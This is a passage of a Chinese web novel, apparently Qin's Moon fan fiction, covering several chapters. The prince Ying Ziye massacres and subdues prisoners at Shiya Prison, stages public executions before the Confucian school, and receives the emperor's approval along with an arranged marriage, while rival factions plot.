第三波剑雨降临,剩余囚犯的双腿齐膝而断,惨嚎着栽倒在血泊中。
整个海滩化作修罗场。
碎肉与残肢堆积成山,鲜血汇成溪流渗入沙地。
而赢子夜立于尸山血海之上,衣袍纤尘不染,宛若九幽魔神。
“轰隆!”
噬牙狱深处突然传来巨响。
一道魁梧身影撞破七重墙壁冲天而起,手中巨阙剑横扫,将周围的囚犯尽数腰斩!
胜七浑身缠绕着血色锁链,独眼中燃烧着疯狂的战意。
但当他的目光与赢子夜相接时,这位号称“农家第一高手”的凶人竟本能地后退半步。
没有任何犹豫,胜七转身就走,几个起落便消失在夜色中。
并非是怕了,而是他还有更重要的事情要去做。
“公子,要追吗?”
赵弋苍单膝跪地请示。
赢子夜微微摇头:“丧家之犬,不足为虑。”
他目光扫过满地哀嚎的囚犯,突然抬手虚抓。
“啊啊啊!”
十余名囚犯突然悬浮而起,浑身骨骼发出令人牙酸的挤压声。
他们的血肉精华被强行抽离,在半空凝结成一颗猩红血珠。
“本公子需要几条听话的狗。”
赢子夜指尖一弹,血珠化作流光,飞射而出。
只听“轰”然一声,擂台般的石地炸裂出道道裂痕。
那些囚犯本想负隅顽抗,却在顷刻间被一股难以抗拒的威压压制得匍匐在地。
有人怒吼扑上,却在刹那间被一道玄光击中,血肉翻飞,倒地不起。
剩下的人瞬间噤声!!!
赢子夜傲然立于乱石与血迹之间,脚下寸草不生。
他的周身浮现出金色符文凝成的锁链,环绕周身,犹如帝王法旨,**万恶。
囚犯们眼神渐渐空洞,气焰全消,跪伏在地,像是一群被彻底驯服的野兽。
“嘶——”
远处礁石后,伏念倒吸一口凉气。
这位儒家掌门的手死死按住圣王剑,却止不住剑身的哀鸣。
颜路面色惨白如纸,含光剑佩早已碎成齑粉。
张良更是不堪,若非扶着岩壁,几乎要跪倒在地。
他们亲眼见证了何为帝王之怒!
那个立于血海中的玄衣公子,挥手间**百凶,谈笑中令恶徒折服!
这等手段,已非凡人之力!
“三位庄主。”
赢子夜突然转头,金色瞳孔穿透夜色。
“戏看够了?”
简单一句话,却让三位儒家当家如坠冰窟。
伏念的圣王剑“当啷”坠地。
这位向来注重礼法的儒家掌门,此刻竟控制不住地颤抖起来。
赢子夜踏着血浪缓步而来。
所过之处,尸骸自动分开一条道路。
海风呜咽,卷起浓重的血腥气。
月光穿透云层,将赢子夜的影子拉得很长很长,如同择人而噬的巨兽,将整个桑海城都笼罩其中。
第112章 跪者生,站者死!!!
噬牙狱外。
弥漫着浓重的腥气。
赢子夜负手立于残破的狱门前,玄色衣袍在晨光中泛着冷冽的光泽。
黑冰台精锐正将那些苟活的囚犯重新押入狱中,铁链碰撞声与哀嚎声交织成片。
卫庄踏着血泊走来,戮魂剑上的血煞之气早已褪尽。
他金色的瞳孔微微收缩。
十丈外那个身影明明只是随意站立,却仿佛与整片天地融为一体。
这种境界,是他耗尽心血修炼《血狱魔罗诀》都难以企及的。
“盖聂断臂遁走。”
卫庄声音沙哑,每个字都像是从齿缝里挤出来的。
他下意识握紧剑柄,却发现自己的手在微微发抖。
不是恐惧,而是一种难以言喻的复杂情绪。
曾几何时,他视赢子夜为可以利用的棋子。
如今才惊觉自己才是那个井底之蛙。
晓梦飘然而至,秋骊剑鞘上凝结着未化的冰霜。
“逍遥子重伤逃遁,雪霁剑……”
她罕见地顿了顿。
“未能取回。”
赢子夜连头都没回,只是轻轻“嗯”了一声。
这漫不经心的态度,却让卫庄胸口如压巨石。
他忽然想起那枚改变命运的储物戒。
对赢子夜而言,那些足以让常人疯狂的秘宝,恐怕不过是随手施舍的垃圾。
“暗河。”
赢子夜突然开口。
赵弋苍如鬼魅现身。
“在!”
“追踪所有在逃之人。”
赢子夜指尖轻抚狱门上的一道裂痕。
“尤其是……断臂的盖聂。”
卫庄瞳孔骤缩。
这个命令背后的深意让他不寒而栗。
赢子夜要的恐怕不只是人头,而是纵横家最后的传承!
当赢子夜终于转身看向三位庄主时,伏念的圣王剑突然自行出鞘三寸,又“锵”地归鞘。
这是儒家至宝在面对不可抗力时的本能臣服。
“烦请三位庄主。”
赢子夜唇角微扬。
“明日请诸子百家之人前往小圣贤庄前。”
没有威胁,没有解释。
但就是这轻飘飘的一句话,让张良的铜板“啪”地碎成齑粉。
三位庄主深深躬身,**着离去时,衣袍已被冷汗浸透。
晨光渐亮。
照在赢子夜玄色衣袍的金线暗纹上,勾勒出一条若隐若现的龙形。
卫庄看着那条仿佛要破衣而出的龙,终于明白。
这天下,早就是别人掌中的玩物了。
……
噬牙狱最底层。
潮湿阴冷的空气中弥漫着血腥与绝望的气息。
赢子夜踏着幽暗的石阶缓步而下,玄色衣袍在火把映照下泛着冰冷的光泽。
每一步落下,都如同丧钟敲响,回荡在囚犯们的心头。
“哗啦——”
铁链碰撞声响起,三名重犯被黑冰台死士拖到中央。
盗跖满身血污,标志性的铜板早已不知去向。
铁锤的巨锤断成两截,粗壮的手臂扭曲成诡异的角度。
高渐离更是奄奄一息,水寒剑的碎片还插在肩头。
“押至小圣贤庄前。”
赢子夜淡淡道,目光扫过三人,“明日午时,当众处决。”
盗跖突然挣扎着抬头,嘴角扯出一个带血的笑:
“嘿…盗王之王…岂会……”
“咔!”
赢子夜隔空一指点出,盗跖的右膝瞬间爆裂!!!
惨叫声中,他冷漠补充:
“班大师押送咸阳,本公子要亲自审问。”
铁锤怒吼着想要扑上来,却被铁链拽倒在地。
高渐离艰难地睁开眼,模糊的视线中,那个玄衣身影已经转身走向更深处。
……
噬牙狱第九层,关押着最凶残的**。
当赢子夜的身影出现在铁门前时,原本嘈杂的牢房瞬间死寂。
七十二名重犯不约而同地后退,铁链哗啦作响。
“哐当!”
厚重的铁门自行开启,赢子夜负手而入。
他没有立即说话,只是用那双金色的瞳孔缓缓扫过每个人。
目光所及之处,囚犯们如坠冰窟——
那根本不是人类的眼神,而是某种更高层次的存在在俯视蝼蚁。
“十息。”
赢子夜终于开口,声音不大却让所有人耳膜刺痛,“跪者生,站者死。”
话音刚落,地面突然浮现一个血色沙漏虚影,细沙开始流淌。
“一息。”
三十余人立刻跪倒,额头紧贴地面。
这些曾经**如麻的凶徒,此刻却抖如筛糠。
“装神弄鬼!”
一个满脸刀疤的壮汉狞笑,“老子连秦王都不跪,会跪你这——”
“二息。”
赢子夜看都没看他一眼。
又有十几人陆续跪下。
剩余的人面面相觑,有人开始动摇,有人还在强撑。
“五息。”
角落里,一个白发老者突然嗤笑:
“黄口小儿,也配——”
“噗!”
老者的头颅突然炸开,红白之物溅了周围人满脸。
没有预兆,没有动作,就像被无形的巨手捏碎的西瓜。
“六息。”
这次跪倒的人更多了。
但仍有七人站在原地,
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或是出于傲气,或是被吓傻了。
“九息。”
一个独眼男子突然跪下:
“我愿臣服!我——”
“晚了。”赢子夜轻声道。
“十息。”
时间到。
整个牢房突然被刺目的金光充满。
那七名站着的囚犯甚至来不及惨叫,身体就寸寸瓦解,化作血雾飘散。
更可怕的是,那些在最后一刻想跪下的人,同样没能幸免——
他们的膝盖刚触及地面,上半身就已经灰飞烟灭!
“不!我跪了!我——”一个光头大汉惊恐地看着自己消散的双腿。
赢子夜的声音如同天宪:
“本公子说十息,便是十息。”
血雾弥漫中,剩余的五十三人死死趴在地上,连呼吸都停滞。
他们中不乏曾令江湖闻风丧胆的魔头,此刻却连抬头看一眼的勇气都没有。
“从今日起,你们为本公子所用。”
赢子夜袖袍一拂,数十枚猩红丹药悬浮在每个人面前,“服下。”
丹药散发着诡异的甜香,表面有黑色纹路蠕动,如同活物。
一个瘦削男子颤抖着问:
“这……这是……”
“补天丹。”
赢子夜难得解释,“可助你们突破瓶颈。”
他嘴角微扬,“当然,若一月内不服解药,就会……砰。”
他做了个烟花绽放的手势。
囚犯们面如死灰。
有人盯着丹药,眼中闪过挣扎。
有人已经绝望地闭眼。
更有人偷偷看向出口,却在看到赢子夜眼神的瞬间瘫软在地。
“三息。”
赢子夜再次凝聚出血色沙漏,“不服者,现在死。”
哗啦啦——
所有丹药被争先恐后地吞下。
几个呼吸后,牢房里响起此起彼伏的闷哼声。
丹药生效了。
这些囚犯的肌肉开始膨胀,眼中泛起血色,气息节节攀升。
但同时,他们的眉心都浮现出一个金色符文,与赢子夜眸色一模一样。
“很好。”
赢子夜转身离去,玄色衣摆扫过满地血污,“明日此时,在此集结。”
当他踏出牢房的刹那,身后传来整齐的跪拜声:
“恭送主上!”
这些曾经桀骜不驯的凶徒,此刻却如同最驯服的猎犬。
因为他们亲眼见证了何为绝对的力量——
在那个人面前,连死亡都是一种奢侈。
铁门缓缓关闭,赢子夜的身影消失在幽暗的甬道中。
唯有那若有若无的脚步声,如同丧钟,久久回荡在噬牙狱的最深处……
第113章 杀鸡儆猴,**诛心!
晨光刺破云层,却驱不散小圣贤庄前弥漫的血腥气。
诸子百家之人战战兢兢地**在广场上,衣袍下的身躯微微发抖。
在他们面前,三十七名囚犯被铁链锁着跪成一排——
盗跖的膝盖血肉模糊。
铁锤的双臂扭曲变形。
高渐离更是气若游丝。
更令人胆寒的是,这些人的背后还站着五十三名噬牙狱重犯,个个眼中泛着诡异的血光。
“听说了吗……昨夜连噬牙狱都……”
“嘘!你不要命了?”
名家的公孙玲珑死死攥着孔雀羽扇,肥硕的身躯不停冒汗。
法家代表手中的竹简捏的咯咯作响,却不敢说什么。
“踏、踏、踏……”
整齐的铁靴踏地声由远及近。
人群如潮水般分开,赢子夜玄衣墨发,缓步而来。
他身后跟着三百黑甲锐士,每一步都震得地面微颤。
阳光照在他身上,却仿佛被那身玄袍吞噬,透不出一丝暖意。
“想必诸位也听说了昨夜发生之事。”
赢子夜立于高台,声音不疾不徐。
“除却六国余孽之外,更有一些……百家之人参与其中。”
最后几个字落下时,空气骤然凝固。
公孙玲珑直接瘫坐在地。
杂家弟子手中的书籍叮当坠地。
就连素来狂傲的兵家代表也死死低头,不敢直视那道身影。
“我等誓死效忠大秦!”
“六公子明鉴!我等绝无二心!”
“都是那些叛逆擅自行动,与我等无关啊!”
求饶声、表忠心声此起彼伏。
赢子夜却只是冷笑,抬手轻轻一挥。
“斩。”
简简单单一个字,却让天地为之一静。
“唰——!”
三十七柄刀同时扬起。
盗跖突然仰天大笑:“盗王之王,死也要——”
刀光闪过,三十七颗头颅滚落在地!!
鲜血喷溅在庄严肃穆的小圣贤庄牌匾上,顺着“仁”字缓缓流下。
高渐离的头颅恰好滚到公孙玲珑脚边,那双死不瞑目的眼睛直勾勾盯着她,吓得这位名嘴当场失禁。
伏念的圣王剑突然发出凄厉哀鸣,剑穗无风自燃。
颜路的含光剑佩“咔嚓”碎成粉末。
张良死死咬着嘴唇,鲜血顺着下巴滴落。
这是赤裸裸的羞辱!
在儒家圣地行刑,用鲜血玷污圣人之道!
赢子夜的目光扫过三位庄主,嘴角微扬:“有劳三位庄主……将此地打扫打扫。”
这句话比刀剑更锋利。
伏念浑身颤抖,却只能深深躬身:“谨……谨遵公子之命。”
颜路眼前发黑,几乎站立不稳。
张良的指甲深深掐入掌心,却还要强撑着行礼。
他们明白,这是赢子夜在诛心——
不仅要**,还要儒家亲手擦拭这些血迹!!!
“至于你们……”
赢子夜看向那些战栗的百家代表,突然展颜一笑。
这笑容本该如沐春风,却让所有人如坠冰窟:“科举在即,本公子期待诸位……精彩表现。”
说罢,他转身离去。
玄色衣袍扫过台阶上的血迹,竟不染分毫。
黑甲锐士紧随其后,铁靴踏在血泊中,发出令人毛骨悚然的“啪嗒”声。
直到赢子夜的身影消失在长街尽头,凝固的空气才重新流动。
公孙玲珑直接昏死过去。
法家代表瘫坐在地,裤裆湿了一片。
“师兄……”
颜路声音嘶哑。
“我们……”
伏念死死盯着牌匾上渐渐干涸的血迹,突然“哇”地吐出一口鲜血。
圣王剑“当啷”坠地,剑身上“礼”字篆文竟出现裂痕。
张良缓缓蹲下,用颤抖的手帕擦拭地上的血迹。
他的声音低得只有身边两人能听见:“此子…是要绝我儒家根基啊……”
……
晨露未干,荒林深处弥漫着淡淡的血腥气。
盖聂仰面倒在枯叶堆中,木剑断成两截散落身旁。
左肩断臂处的伤口虽已止血,但惨白的脸色显示他随时可能油尽灯枯。
“沙沙——”
枯叶被踩碎的轻响传来。
逍遥子拄着拂尘缓步走近,道袍下摆沾满泥泞与血渍。
这位人宗掌门此刻也狼狈不堪——
雪霁剑斑痕累累,胸口三道剑痕深可见骨。
他蹲下身探了探盖聂脉搏,眉头紧锁:“经脉尽断…竟还能撑到现在……”
远处传来乌鸦的啼叫,凄厉如丧钟。
逍遥子猛地抬头,浑浊的眼中闪
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过一丝决然。
他咬破指尖,在掌心画出一道血符,猛然按在盖聂胸口:“鬼谷的小子,老道今日破例救你一回。”
盖聂脸色微动,却已虚弱得说不出话来。
逍遥子咳出一口淤血,强提一口真气,从袖中抽出数张黄符贴地,结印念咒。
“起!”
黄符骤然炸响,尘烟四起,地面炸出一个丈许深的洼坑,露出一道狭窄的岩缝。
逍遥子扶起盖聂,身形一闪,沿岩缝滑入地下。
“只能赌这一局了……”
他喃喃自语,正欲关上石缝掩体,忽然身形一滞。
落叶间,几滴殷红的血珠赫然可见!
不是盖聂的血。
“嗖!”
一支淬毒**箭破空而至,几乎擦着逍遥子鬓角飞过,狠狠钉入洞口边缘的岩壁。
箭尾黑羽轻颤,杀意已至。
“老东西挺能跑啊。”
昭鞅的声音自林中传来,懒散中透着一丝嗜血。
他扛着长剑缓步现身,剑尖在地上拖行,发出刺耳金铁声响。
他身后十余名暗河**如影随形,迅速散开,呈扇形封锁地形。
逍遥子将盖聂小心藏入岩缝深处,自己缓缓转身,长剑横胸,声音低沉:“此乃清净地,不容尔等玷污。”
“清净?”
昭鞅笑了,眼神森然:“昨夜噬牙狱的血,可是把桑海都染红了呢。”
话音未落,他骤然突进!
剑光暴起,如毒蛇吐信,直指逍遥子要害。
千钧一发之际,林地上的数枚黄符接连炸响,剧烈的轰鸣震耳欲聋,浓烟与飞尘腾空而起!
“咳咳……追!”
昭鞅挥手驱散烟尘!
浓烟中,一排杂乱脚印延入密林。
泥地还被刻意踩乱,痕迹难辨。
他蹲下身,指尖按在潮湿土面,缓缓抹出一道暗纹:“老狐狸……原来早就算好了退路。”
暗河**互视一眼,神情微变。
昭鞅却轻轻一笑,剑尖挑起盖聂遗落的半截木剑,缓缓起身:
“他们负伤在身,逃不了远。”
他舔了舔剑刃上残留的血迹,眼神幽冷:“分头去查,不惜一切代价,找到他们。”
晨风吹过林间,卷起几片沾血的枯叶。
暗河的追猎,才刚刚开始!
第114章 人宗,该除名了!
临海别院内。
赢子夜倚窗而立,指尖轻抚着一枚染血的铜板——
那是盗跖的遗物。
海风卷着淡淡的血腥气涌入厅堂,却无法沾染他玄色衣袍分毫。
“踏、踏。”
轻盈的脚步声传来。
星魂与大司命并肩而入,幽蓝与猩红的气息在空气中交织。
星魂的嘴角仍残留着昨夜激战后的疲惫,但眼中幽光更盛:
“六公子,首领传讯,命我等即刻回返咸阳复命。”
大司命妩媚一笑,指尖缠绕着一条赤红小蛇:
“只是那雪女与端木蓉……不知公子打算如何处置?”
她眼波流转间,不经意露出颈侧一道浅浅的剑痕。
正是雪女所留。
赢子夜转身,铜板在掌心翻转:
“本公子听闻,阴阳家有种秘术,可封印记忆?”
星魂瞳孔微缩:
“封魂咒?确实有此术法,只是……”
“那就请东皇阁下费心了。”
赢子夜随手将铜板弹入海中,溅起的水花未及落下便冻结成冰。
“她们对本公子……另有用处。”
大司命红唇微抿,似要说什么,却被星魂一个眼神制止。
两人齐齐躬身:
“谨遵公子之命。”
退下时,大司命的裙摆扫过门槛,竟结出一层薄霜。
那是发自心底的寒意。
待二人离去,赢子夜忽然对着空荡的厅堂道:
“看了这么久,不现身一见?”
纱帘无风自动。
晓梦白衣胜雪,从阴影中缓步而出。
秋骊剑鞘上的霜纹比往日更盛,映得她眉眼如画却冷若冰霜:
“恭喜公子,一夜之间肃清桑海叛逆。”
赢子夜轻笑,指尖划过案上酒盏。
酒水瞬间沸腾,又转眼凝结成冰:
“本公子也该恭喜晓梦大师,昨夜一战,天宗威名更盛。”
晓梦眸光微动,长睫在眼下投出浅浅阴影:
“公子此言何意?”
“人宗勾结叛逆,逍遥子重伤遁逃。”
赢子夜慢条斯理地品着冰酒。
“此时收拢人宗残余,不正是天宗一统道门的最佳时机?”
秋骊剑突然轻颤,晓梦的呼吸微不可察地乱了半拍!!
她确实早有此念,只是……
“我如今是公子仆从。”
她抬眸直视赢子夜,声音清冷如故:
“天宗之事,与我何干?”
赢子夜忽然倾身向前,玄色衣袖扫落案上酒盏。
瓷器碎裂声中,他金色的瞳孔直视晓梦:
“因为天宗将来……或可为本公子臂助。”
这句话如惊雷炸响!
晓梦袖中的手指微微蜷缩!
她终于明白赢子夜的谋划。
不是要吞并天宗,而是要以她为纽带,将整个道门纳入掌中!
“为何帮我?”
晓梦秋骊剑出鞘三寸,寒光映亮她精致的下颌线。
“以公子之能,大可……”
“大可强取豪夺?”
赢子夜接过话头,突然笑了。
他抬手轻触秋骊剑锋,指尖渗出的血珠瞬间冻结成红宝石般的冰晶:
“但那样得来的,终究不如心甘情愿。”
海风突然变得急促,卷起晓梦的白发。
她凝视着赢子夜指尖的冰晶,忽然想起师尊临终所言:
“大道五十,天衍四九”。
眼前这个男人,或许就是那遁去的一?
“好。”
晓梦归剑入鞘,霜纹流转间已做决断。
“三日后,我启程前往太乙山。”
她转身时衣袂翻飞如鹤翼:
“但愿公子……言而有信。”
赢子夜望着她离去的背影,眸中金芒渐盛。
窗外,一只信鸽掠过海面,朝着咸阳方向振翅而去。
……
咸阳。
中车府令府内,烛火摇曳。
赵高独自坐在案前,苍白的手指缓缓展开刚收到的密信。
昏黄的灯光映着他阴鸷的面容。
“呵……”
他低笑一声,指尖轻轻敲击案几。
“六公子倒是好手段,一夜之间就让桑海城血流成河。”
窗外树影婆娑,投在墙上的影子如同鬼魅般晃动。
赵高将密信凑近烛火,看着上面的字迹渐渐焦黑卷曲。
“胜七已经离开……”
他喃喃自语,浑浊的眼中闪过一丝精光。
“农家这颗棋,终于要动了。”
烛火突然跳动了一下,映得他半边脸隐在阴影中。
赵高盯着燃烧的密信,嘴角勾起一抹冷笑:
“想用噬牙狱那些疯子?天真……”
他想起多年前自己也曾尝试驯服那些囚徒。
那些桀骜不驯的眼神,宁死不屈的嘶吼,至今仍会在午夜梦回时浮现。
指尖无意识地摩挲着左手腕上一道陈年伤疤
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。
那是“血手人屠”留给他的纪念。
“没有绝对的忠心……”
赵高站起身,宽大的袖袍垂落。
“再凶猛的野兽,也终有反噬的一天。”
一阵夜风穿堂而过,吹得烛火剧烈摇晃。
墙上他的影子忽大忽小,如同蛰伏的凶兽。
“不过……”
他缓步走向窗前,望着咸阳宫的方向。
“倒是要感谢六公子,替本座解决了那么多麻烦。”
月光下,赵高的面容忽明忽暗。
他从袖中取出一枚黑玉棋子,在指尖轻轻转动。
“噬牙狱的疯子,农家的棋子,还有……”
他忽然冷笑一声,指尖用力,棋子应声而碎。
“那个自以为是的六公子。”
碎玉从指缝间簌簌落下,在寂静的室内发出细微的声响。
赵高转身走回案前,袖袍带起的风将最后一截密信灰烬卷起,在空中打了个旋,消散无踪。
“好戏……才刚开始。”
他对着空荡的大殿轻声说道,声音如同毒蛇爬过冰冷的石面。
……
蜃楼。
最高层的观星台上,东皇太一负手而立。
黑色面具在月光下泛着冷光,宽大的袍袖无风自动。
星图在他脚下缓缓流转,映照着刚刚收到的密信。
“月神。”
他声音低沉如古井回响,
“桑海的棋局,该收官了。”
月神轻移莲步,薄纱下的双眸闪过一丝诧异。
“首领是指……”
“少司命。”
东皇袖中飞出一卷金丝帛书,
“明日入宫,代我阴阳家向陛下提亲。”
月神接过帛书,指尖微微一颤。
她清楚记得日前少司命传回的密报——
那位六公子谈笑间**百凶的模样。
“这……是否操之过急?”
东皇突然转身,面具下的目光如有实质。
“你以为本座在商量?”
星图骤然加速旋转,映得整座观星台明灭不定。
月神立即垂首。
“属下这就去办。”
当她退出观星台时,身后传来东皇飘忽的声音:
“告诉陛下……阴阳家愿以蜃楼内藏秘库为聘。”
月神脚步微顿,薄纱下的红唇抿成一线。
她知道,这盘棋已经下到了最关键的一步——
而少司命,终究成了最重要的棋子。
第115章 少司命,倒也配得上寡人的儿子!
半日之余。
章台宫内,青铜灯盏映照着始皇帝威严的面容。
他放下手中密报,指尖轻叩案几,发出沉闷的声响。
“彩。”
他低语,眼中闪过一丝赞许。
“子夜这小子,倒是让寡人刮目相看。”
殿外传来细碎的脚步声。
月神一袭紫纱,款款而入,薄纱下的双眸如星河般深邃。
“臣妾参见陛下。”
她盈盈下拜,声音空灵似天籁。
始皇帝抬了抬手:
“月神深夜入宫,所为何事?”
月神双手呈上金丝帛书:
“东皇阁下命臣妾前来,为阴阳家少司命向六公子提亲。”
烛火忽然摇曳,映得帛书上的金线闪闪发亮。
始皇帝接过帛书,目光在“蜃楼秘库为聘”四字上停留片刻,嘴角微不可察地扬起。
“少司命……”
他缓缓合上帛书。
“倒是配得上寡人的儿子。”
月神薄纱轻颤:
“东皇阁下言,少司命虽为阴阳家天才,但终究不敢高攀正位。”
“若能为妾,已是莫大荣幸。”
殿内陷入短暂的沉默。
始皇帝摩挲着玉玺,目光深远。
他自然明白阴阳家的算盘——
蜃楼、幻音宝盒、甚至是那个神秘的苍龙七宿之秘,都系于此举。
“准了。”
始皇帝突然开口,声音如金铁交鸣。
“择吉日完婚。”
月神眼中闪过一丝讶异,随即深深叩首:
“谢陛下恩典。”
待月神离去,始皇帝独自立于殿中。
他望向桑海方向,目光如炬。
“东皇太一……”
他低声自语。
“你以为寡人不知你的打算?”
袖中密报滑落,上面赫然写着:“六公子已收服噬牙狱众囚”。
始皇帝忽然笑了,笑声在空荡的大殿中回荡。
“寡人倒要看看……”
他抚摸着腰间的定秦剑。
“是阴阳家算计寡人的儿子,还是寡人的儿子……吞了你阴阳家!”
夜风穿堂而过,吹得烛火剧烈摇晃。
投在墙上的影子,如一条蛰伏的黑龙,正缓缓舒展爪牙。
……
与此同时。
荒山野岭间,项羽一拳砸在古松树干上。
碗口粗的松树应声而断,木屑飞溅中,他双目赤红如血。
“叔父……”
嘶哑的声音从喉间挤出,指节因用力过度而渗出鲜血。
龙且单膝跪地,铠甲上还带着矿山激战后的痕迹。
“少主节哀。”
他沉声道,却不敢抬头看项羽狰狞的面容。
“项将军若在,定不望少主……”
“闭嘴!”
项羽暴喝,声震山林。
霸王戟猛地插入地面,震得方圆十丈落叶纷飞。
他胸口剧烈起伏,脖颈青筋暴起,如同一头受伤的猛兽。
龙且咬牙承受着扑面而来的杀气,仍坚持道:
“赢子夜势大,此刻复仇无异于……”
“我项羽岂是贪生怕死之辈!”
项羽一把揪住龙且的领甲,将他整个人提起。
却在看到对方铠甲下渗出的血迹时,动作一滞。
两人对视良久。
山风呜咽,卷着枯叶掠过项羽染血的拳头。
他忽然松开手,转身望向桑海方向。
月光下,那个高大背影竟微微发抖。
“拿地图来。”
再开口时,声音已冷静得可怕。
龙且迅速铺开羊皮地图。
项羽沾血的手指重重按在几处标记上:
“楚国旧部尚存三处。昭氏在云梦泽,屈氏隐于洞庭,景氏……”
手指突然划出一道血痕,
“在骊山脚下。”
“风火山林……”
项羽从怀中掏出染血的密信,
“那个前辈所言四人,龙且你已归位。剩下三人——”
“季布在九江为盗,英布山间隐居,钟离昧……”
龙且指向淮水方向,
“据闻在墨家据点养伤。”
项羽突然单膝跪地,抓起一把泥土攥在掌心。
细沙从指缝间簌簌落下,混着未干的血迹。
“传我令。”
他声音低沉如闷雷,
“三月之内,集结所有能战之兵。”
霸王戟猛地拔出,寒光映亮他嗜血的双眸,
“我要让赢子夜知道——”
“楚虽三户,亡秦必楚!!!”
远处传来乌鸦的啼叫。
龙且看着少主映在岩壁上的影子——
那已不是人的轮廓,而是一头蓄势待发的凶兽。
他缓缓抚上胸口的狼头刺青,眼中燃起同样的火焰。
夜风骤起,卷着沙尘掠过山岗。
楚国的复仇之火,在这一夜真正点燃。
……
晨光微熹,桑海城码头笼罩在薄雾中。
赢子夜玄衣玉带立
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于船首,海风掀起他宽大的袖袍,露出内衬上若隐若现的金色龙纹。
岸边,诸子百家之人垂首而立,连呼吸都刻意放轻。
公孙玲珑的孔雀羽扇不再摇曳,杂家许慎表情谄媚。
伏念领着儒家弟子站在最前排,圣王剑的剑穗纹丝不动——
这位儒家掌门一夜之间仿佛老了十岁。
“起锚。”
赢子夜轻描淡写两个字,却让岸上众人齐齐一颤。
黑甲锐士无声散开,将五十三个玄铁匣子抬上副船。
每个匣子里都装着一枚能控制噬牙狱囚徒的丹药。
赵弋苍单膝跪地:“公子,暗河已按您吩咐,留三十人在桑海。”
他余光扫过小圣贤庄的方向,“特别是……那三位庄主的住处。”
赢子夜唇角微扬,指尖轻抚腰间玉佩。
昨夜他亲眼看着三位庄主跪着擦拭刑场血迹,张良的指甲都抠出血来。
儒家这块硬骨头,终究要慢慢啃。
“噬牙狱那些人……”
他忽然开口。
“属下明白。”
赵弋苍铁面下的声音低沉,“每日辰时操练,午时拷问,酉时喂药。”
“三月之内,必让那群疯狗学会摇尾巴!”
海鸥掠过桅杆,发出刺耳的鸣叫。
赢子夜望向噬牙狱方向,那里还残留着昨夜的血腥气。
他特意留下这些凶徒,就是要让桑海城永远记得。
谁才是这片海域真正的主人!!
“开船。”
随着号令,巨舰缓缓离岸。
赢子夜袖中滑出一枚铜板,正是盗跖的遗物。
他随手一抛,铜板在空中划出弧线,“叮”的一声落入海中。
岸上,伏念的圣王剑突然发出一声哀鸣。
他望着渐行渐远的船影,恍惚看见一条黑龙正从海面升起。
颜路死死攥着破碎的含光剑佩,张良的铜板早已熔成铁块,烫得掌心皮开肉绽。
而在他们看不见的阴影里,三十名暗河**已悄然就位。
屋檐下、古井边、甚至小圣贤庄的竹林中…
无数双眼睛正冷冷注视着一切。
海浪拍打着船舷,赢子夜负手而立,眼中闪过一丝玩味。
海天交界处,朝阳终于冲破云层。
金光洒在赢子夜玄色的衣袍上,却照不进那双深不见底的金色瞳孔。
巨舰犁开血色的海水,朝着咸阳方向驶去,留下桑海城在恐惧中战栗。
第116章 潜龙深藏**,待时而动!
半个月后。
晨光初露,咸阳宫内。
大殿上,黑冰龙榻肃穆威严,气势如山。
始皇帝端坐其上,冕旒垂下,双目如炬,冷峻地注视着文武百官。
此刻,赢子夜终于踏入这座久违的宫殿。
他一袭玄色朝服立于殿中,晨光轻洒,衣摆上的暗金龙纹隐隐闪烁,宛若潜龙待发。
“儿臣启禀父皇。”
赢子夜声音清朗,回荡在大殿之中,
“桑海叛逆已尽数伏诛。”
“墨家贼首盗跖授首,高渐离伏法,唯有盖聂……”
他略一停顿,
“断臂遁逃。”
李斯手持玉笏,眼中闪过一丝讶异。
这位向来沉稳的丞相忍不住偷眼打量六公子——
他至今仍不敢相信,昔日那个默默无闻的皇子,如今竟有如此手段?
“人宗逍遥子勾结叛逆,罪证确凿。”
赢子夜继续道,声音不疾不徐,
“儿臣已命天宗掌门前往清剿,相信不日便有捷报。”
始皇帝微微颔首,冕旒上的玉珠轻轻碰撞:
“朕心甚慰。”
“子夜…想要何赏赐?”
殿中顿时安静下来。
众臣屏息以待,却见赢子夜突然单膝跪地:
“儿臣唯有一请——”
“请父皇将噬牙狱囚徒,交由儿臣处置!!!”
“哗——”
朝堂瞬间炸开了锅。
淳于越手中的玉笏“啪”地落地,
这位儒家博士脸色惨白,声音颤抖:“陛下!万万不可!噬牙狱中皆是逆贼凶徒,残忍嗜血,根本不可驯服!”
朝堂上,另一位文臣急切接话:“这些囚徒个个凶狠狡诈,稍有不慎便会引火烧身,难道陛下愿意让天下生灵陷入更大灾难?”
“陛下,昔日**噬牙狱之时,多少良将丧命!”
一位老将握拳怒喝:“岂能轻易放手?”
“此举恐将祸及朝野!!!”
“正是!”
淳于越叹息,“那些恶徒,岂能指望他们效忠朝廷?他们心怀叵测,迟早反噬!”
阵阵低声嘀咕与反对声此起彼伏,群臣神情凝重,纷纷摇头劝阻。
然而,赢子夜仍稳如泰山,始终跪得笔直,嘴角噙着一丝若有若无的冷笑。
始皇帝抬手,殿中立刻鸦雀无声。
他目光深沉地看向赢子夜:
“子夜,可知这些囚徒的凶险?”
“儿臣清楚。”
赢子夜抬头,金色瞳孔直视帝王,
“‘血手人屠’南宫烈,曾一夜屠尽三座城池;‘毒阎罗’莫问天,用毒灭杀近万齐军……”
他如数家珍般报出一个个令人闻风丧胆的名字,
“正因如此,才更该物尽其用。”
李斯突然出列:
“公子打算如何处置?”
“以毒攻毒。”
赢子夜袖中滑出一枚猩红丹药,在掌心缓缓旋转。
“儿臣已研制出一种锁魂天丹,服之可控其生死。”
他指尖轻弹,丹药竟在空中化作齑粉!
“一月不服解药,便会……砰。”
最后这个拟声词让殿中温度骤降。
赵高站在阴影处,袖中的手指微微蜷缩。
他终于明白赢子夜的底气从何而来。
“荒唐!”
淳于越颤声喝道,
“此等凶徒,就该永镇噬牙狱!”
赢子夜突然转身,玄色衣袍无风自动:
“淳博士可知,昨日,又有三名黑冰台精锐死在追捕盖聂的路上?”
他步步逼近,
“用恶犬对付恶狼,岂不比用自己人更妥当?”
淳于越被这气势所慑,踉跄后退。
赢子夜环视众臣:
“还是说……诸位大人有更好的办法,替父皇分忧?”
殿中鸦雀无声。
始皇帝突然大笑,笑声震得梁上灰尘簌簌落下:
“准了!噬牙狱囚徒,尽归子夜调遣!”
“陛下!”
群臣还想再谏。
“朕意已决。”
赢子夜深深叩首:“谢父皇。”
紧接着,始皇帝的声音如黄钟大吕,在殿中回荡:“朕还有一事。”
“六公子赢子夜与阴阳家少司命赐婚,择吉日完婚!”
“嗡——”
朝堂之上顿时一片哗然!!
